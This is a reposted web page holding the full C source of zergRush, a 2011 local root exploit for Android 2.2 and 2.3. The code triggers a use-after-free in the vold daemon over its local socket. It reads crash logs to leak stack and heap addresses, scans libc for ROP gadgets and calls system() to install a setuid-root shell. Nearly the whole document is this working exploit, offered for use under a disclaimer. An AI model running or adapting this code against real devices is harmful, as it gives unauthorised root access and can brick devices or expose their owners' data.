zergRush

来源:互联网 发布:韧性和弹性的区别 知乎 编辑:程序博客网 时间:2024/05/10 05:38
https://github.com/revolutionary/zergRush/blob/master/zergRush.c/* android 2.2/2.3 libsysutils root exploit use-after-free * * Exploited by rewriting a FrameworkCommand object making the runCommand * point to our first ROP gadget. * * Copyright (c) 2011, The Revolutionary development team. * * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, * THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED.  SO BE * WARNED!  I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE! * * It only works if called from adb shell since we need group log. * * Compile: * agcc zergRush.c -o zergRush -ldiskconfig -lcutils * */#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <signal.h>#include <errno.h>#include <fcntl.h>#include <sys/mount.h>#include <sys/socket.h>#include <sys/select.h>#include <sys/time.h>#include <sys/types.h>#include <sys/un.h>#include <dirent.h>#include <dlfcn.h>#include <sys/system_properties.h>#include <cutils/sockets.h>#include <private/android_filesystem_config.h>static pid_t logcat_pid = 0;static char *sh = "/data/local/tmp/sh";static char *bsh = "/data/local/tmp/boomsh";static char *crashlog = "/data/local/tmp/crashlog";static char *vold = "/system/bin/vold";uint32_t heap_addr;uint32_t libc_base;uint32_t heap_base_addr;uint32_t heap_offset;uint32_t r9 = 0, r10 = 0, fp = 0;uint32_t stack_addr = 0x41414141;uint32_t system_ptr = 0;uint32_t stack_pivot = 0x41414141;uint32_t pop_r0 = 0x41414141;uint32_t jumpsz = 0;uint32_t gadget_jumpsz = 108;uint32_t buffsz = 0;uint32_t allbuffsz[] = {16,24,0};uint8_t adjust = 0;uint8_t samsung = 0;extern char **environ;static void die(const char *msg){perror(msg);exit(errno);}static int copy(const char *from, const char *to){int fd1, fd2;char buf[0x1000];int r = 0;if ((fd1 = open(from, O_RDONLY)) < 0)return -1;if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {close(fd1);return -1;}for (;;) {r = read(fd1, buf, sizeof(buf));if (r <= 0)break;if (write(fd2, buf, r) != r)break;}close(fd1);close(fd2);sync(); sync();return r;}static int remount_data(const char *mntpoint){FILE *f = NULL;int found = 0;char buf[1024], *dev = NULL, *fstype = NULL;if ((f = fopen("/proc/mounts", "r")) == NULL)return -1;memset(buf, 0, sizeof(buf));for (;!feof(f);) {if (fgets(buf, sizeof(buf), f) == NULL)break;if (strstr(buf, mntpoint)) {found = 1;break;}}fclose(f);if (!found)return -1;if ((dev = strtok(buf, " \t")) == NULL)return -1;if (strtok(NULL, " \t") == NULL)return -1;if ((fstype = strtok(NULL, " \t")) == NULL)return -1;return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);}static void *find_symbol(char *sym){void *r = NULL;void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);if (!dlh)die("[-] dlopen");if ((r = (void *)dlsym(dlh, sym)) == NULL)die("[-] dlsym");dlclose(dlh);return r;}static int bad_byte(uint8_t byte){switch(byte) {case 0x20:case 0x22:case 0x5c:case 0x00:return 1;break;default:break;}return 0;}static void heap_oracle() {char ok = 1;if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))heap_addr = r9 + 0x70;else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))heap_addr = r10 + 0x70;else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))heap_addr = fp + 0x70;elseok = 0;while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;if(ok)printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);else {printf("[-] No path found, let's hope ...\n");heap_addr = heap_base_addr + heap_offset;}}static int check_addr(uint32_t addr){/* * Check if address contains one of the forbidden bytes */int i = 0;for(i=0; i<32; i+=8)if(bad_byte((addr>>i) & 0xff))return -1;return 0;}static int do_fault(){char buf[255];int sock = -1, n = 0, i;char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];uint32_t bsh_addr;char padding[128];int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);if(samsung) {printf("[*] Sleeping a bit (~40s)...\n");sleep(40);printf("[*] Waking !\n");}memset(padding, 0, 128);strcpy(padding, "LORDZZZZzzzz");if(padding_sz > 0) {memset(padding+12, 'Z', padding_sz);printf("[*] Popping %d more zerglings\n", padding_sz);}else if(padding_sz < 0) {memset(padding, 0, 128);memset(padding, 'Z', 12+padding_sz);}if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)die("[-] Error creating Nydus");sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);if(adjust)strcpy(buf, "ZERGZERG");elsestrcpy(buf, "ZERG");strcat(buf, " ZZ ");strcat(buf, s_stack_pivot_addr);for(i=3; i < buffsz+1; i++)strcat(buf, " ZZZZ");strcat(buf, " ");strcat(buf, s_heap_addr);n = strlen(buf);bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;if(check_addr(bsh_addr) == -1) {printf("[-] Colossus, we're doomed!\n");exit(-1);}sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);printf("[*] Sending %d zerglings ...\n", n);if ((n = write(sock, buf, n+1)) < 0)die("[-] Nydus seems broken");sleep(3);close(sock);return n;}static int find_rop_gadgets(){/* * add sp, #108 -> b01b * pop{r4, r5, r6, r7, pc} -> bdf0 * * pop{r0, pc} -> bd01 */int fd;char r[2], d[2];int n = 2;int bad = 0;if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)die("[-] open");lseek(fd, 0x10000, SEEK_SET);while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {n = read(fd, r, 2);switch(r[0]) {case '\x1b':if(stack_pivot == 0x41414141) {if(r[1] == '\xb0') {n = read(fd, d, 2);if(d[0] == '\xf0' && d[1] == '\xbd') {stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;if(check_addr(stack_pivot) == -1)stack_pivot = 0x41414141;}}}break;case '\x01':if(pop_r0 == 0x41414141) {if(r[1] == '\xbd') {pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;if(check_addr(pop_r0) == -1)pop_r0 = 0x41414141;}}break;default:break;}}if (stack_pivot == 0x41414141) {printf("[-] You need more minerals !\n");bad = -1;}if (pop_r0 == 0x41414141) {printf("[-] You need more vespene gas !\n");bad = -1;}if(bad == -1)exit(-1);return 0;}static uint32_t checkcrash(){uint32_t fault_addr = 0;char buf[1024], *ptr = NULL;FILE *f = NULL;long pos = 0;int ret=0;system("/system/bin/logcat -c");unlink(crashlog);if ((logcat_pid = fork()) == 0) {char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};execve(*a, a, environ);exit(1);}sleep(3);if (do_fault() < 0)die("[-] Zerglings did not cause crash");/* Give logcat time to write to file */sleep(3);if ((f = fopen(crashlog, "r")) == NULL)die("[-] Zerglings did not leave stuff at all");fseek(f, pos, SEEK_SET);do {memset(buf, 0, sizeof(buf));if (!fgets(buf, sizeof(buf), f))break;if ((ptr = strstr(buf, "  sp ")) != NULL)ret = 1;if ((ptr = strstr(buf, "  r9 ")) != NULL) {ptr += 5;r9 = (uint32_t)strtoul(ptr, NULL, 16);}if ((ptr = strstr(buf, "  10 ")) != NULL) {ptr += 5;r10 = (uint32_t)strtoul(ptr, NULL, 16);}if ((ptr = strstr(buf, "  fp ")) != NULL) {ptr += 5;fp = (uint32_t)strtoul(ptr, NULL, 16);}} while (!feof(f));pos = ftell(f);fclose(f);return ret;}static uint32_t check_libc_base(){char buf[1024], *ptr = NULL;FILE *f = NULL;long pos = 0;int ret=0;uint32_t spotted_base = 0;if ((f = fopen(crashlog, "r")) == NULL)die("[-] Zerglings did not leave stuff at all");fseek(f, pos, SEEK_SET);do {memset(buf, 0, sizeof(buf));if (!fgets(buf, sizeof(buf), f))break;if ((ptr = strstr(buf, "  /system/lib/libc.so")) != NULL) {ptr -= 8;spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;if(spotted_base && spotted_base != libc_base) {libc_base = spotted_base;ret = 1;}}} while (!feof(f) && !spotted_base);pos = ftell(f);fclose(f);return ret;}static uint32_t find_stack_addr(){uint32_t fault_addr = 0;char buf[1024], *ptr = NULL;FILE *f = NULL;long pos = 0;uint32_t sp=0, over=0;system("/system/bin/logcat -c");unlink(crashlog);if ((logcat_pid = fork()) == 0) {char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};execve(*a, a, environ);exit(1);}sleep(3);if (do_fault() < 0)die("[-] Zerglings did not cause crash");/* Give logcat time to write to file */sleep(3);if ((f = fopen(crashlog, "r")) == NULL)die("[-] Zerglings did not leave stuff at all");fseek(f, pos, SEEK_SET);do {memset(buf, 0, sizeof(buf));if (!fgets(buf, sizeof(buf), f))break;if ((ptr = strstr(buf, "  4752455a")) != NULL && stack_addr == 0x41414141) {ptr -= 8;stack_addr = (uint32_t)strtoul(ptr, NULL, 16);}if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {ptr -= 8;over = (uint32_t)strtoul(ptr, NULL, 16);}if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {ptr += 5;sp = (uint32_t)strtoul(ptr, NULL, 16);}if ((ptr = strstr(buf, "  r9 ")) != NULL) {ptr += 5;r9 = (uint32_t)strtoul(ptr, NULL, 16);}if ((ptr = strstr(buf, "  10 ")) != NULL) {ptr += 5;r10 = (uint32_t)strtoul(ptr, NULL, 16);}if ((ptr = strstr(buf, "  fp ")) != NULL) {ptr += 5;fp = (uint32_t)strtoul(ptr, NULL, 16);}} while (!feof(f));pos = ftell(f);fclose(f);if(over && sp)jumpsz = over - sp;return stack_addr;}static void do_root(){remount_data("/data");chown(sh, 0, 0);chmod(sh, 04711);property_set("ro.kernel.qemu","1");exit(0);}int main(int argc, char **argv, char **env){uint32_t i = 0, ok = 0;char *ash[] = {sh, 0};struct stat st;char version_release[1024];int tries=0;if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))do_root();printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)die("[-] Cannot copy boomsh.");chmod(bsh, 0711);stat(vold, &st);heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;__system_property_get("ro.build.version.release", version_release);if (strstr(version_release, "2.2")) {heap_offset = 0x108;printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);} else if (strstr(version_release, "2.3")) {heap_offset = 0x118;printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);} else {printf("[-] Not a 2.2/2.3 Android ...\n");exit(-1);}heap_addr = 0xffffff;__system_property_get("ro.build.fingerprint", version_release);if(!strncmp(version_release, "samsung", 7)) {printf("[+] Found a Samsung, running Samsung mode\n");samsung = 1;}system_ptr = (uint32_t) find_symbol("system");libc_base = system_ptr & 0xfff00000;if (check_addr(system_ptr) == -1) {printf("[-] High templars, we're doomed!\n");exit(-1);}tries = 0;printf("[*] Scooting ...\n");while(buffsz=allbuffsz[tries]) {if(checkcrash()) {printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);break;}tries++;}if(!buffsz) {printf("[-] Hellions with BLUE flames !\n");exit(-1);}for (tries = 0; tries < 2; tries++) {heap_oracle();find_stack_addr();if (stack_addr != 0x41414141 && jumpsz) {printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);break;}}if (stack_addr == 0x41414141 || !jumpsz) {printf("[-] Zerglings did not leave interesting stuff\n");exit(-1);}if (check_addr(stack_addr) == -1) {if(bad_byte(stack_addr & 0xff)) {stack_addr += 4;adjust = 4;if (check_addr(stack_addr) == -1) {printf("[-] Siege tanks, we're doomed!\n");exit(-1);}}else {printf("[-] Siege tanks, we're doomed!\n");exit(-1);}}if (jumpsz > 108 + 12) {printf("[-] This terran has walled!\n");exit(-1);}if(check_libc_base()) {system_ptr = libc_base + (system_ptr & 0x000fffff);printf("[*] Creating more creep 0x%08x ...\n", system_ptr);if (check_addr(system_ptr) == -1) {printf("[-] High templars, we're doomed!\n");exit(-1);}}kill(logcat_pid, SIGKILL);unlink(crashlog);printf("[*] Researching Metabolic Boost ...\n");find_rop_gadgets();printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);do_fault();stat(sh, &st);if ((st.st_mode & 04000) == 04000) {char qemuprop[1];printf("\n[+] Rush did it ! It's a GG, man !\n");property_get("ro.kernel.qemu",qemuprop,"0");if (qemuprop[0]=='1') {printf("[+] Killing ADB and restarting as root... enjoy!\n");fflush(stdout);sleep(1);kill(-1, SIGTERM);} else {printf("[-] Failed to set property to restart adb. Not killing.\n");}} else {printf("\n[-] Bad luck, our rush did not succeed :(\n");fflush(stdout);sleep(1);kill(-1, SIGTERM);}return 0;}

原创粉丝点击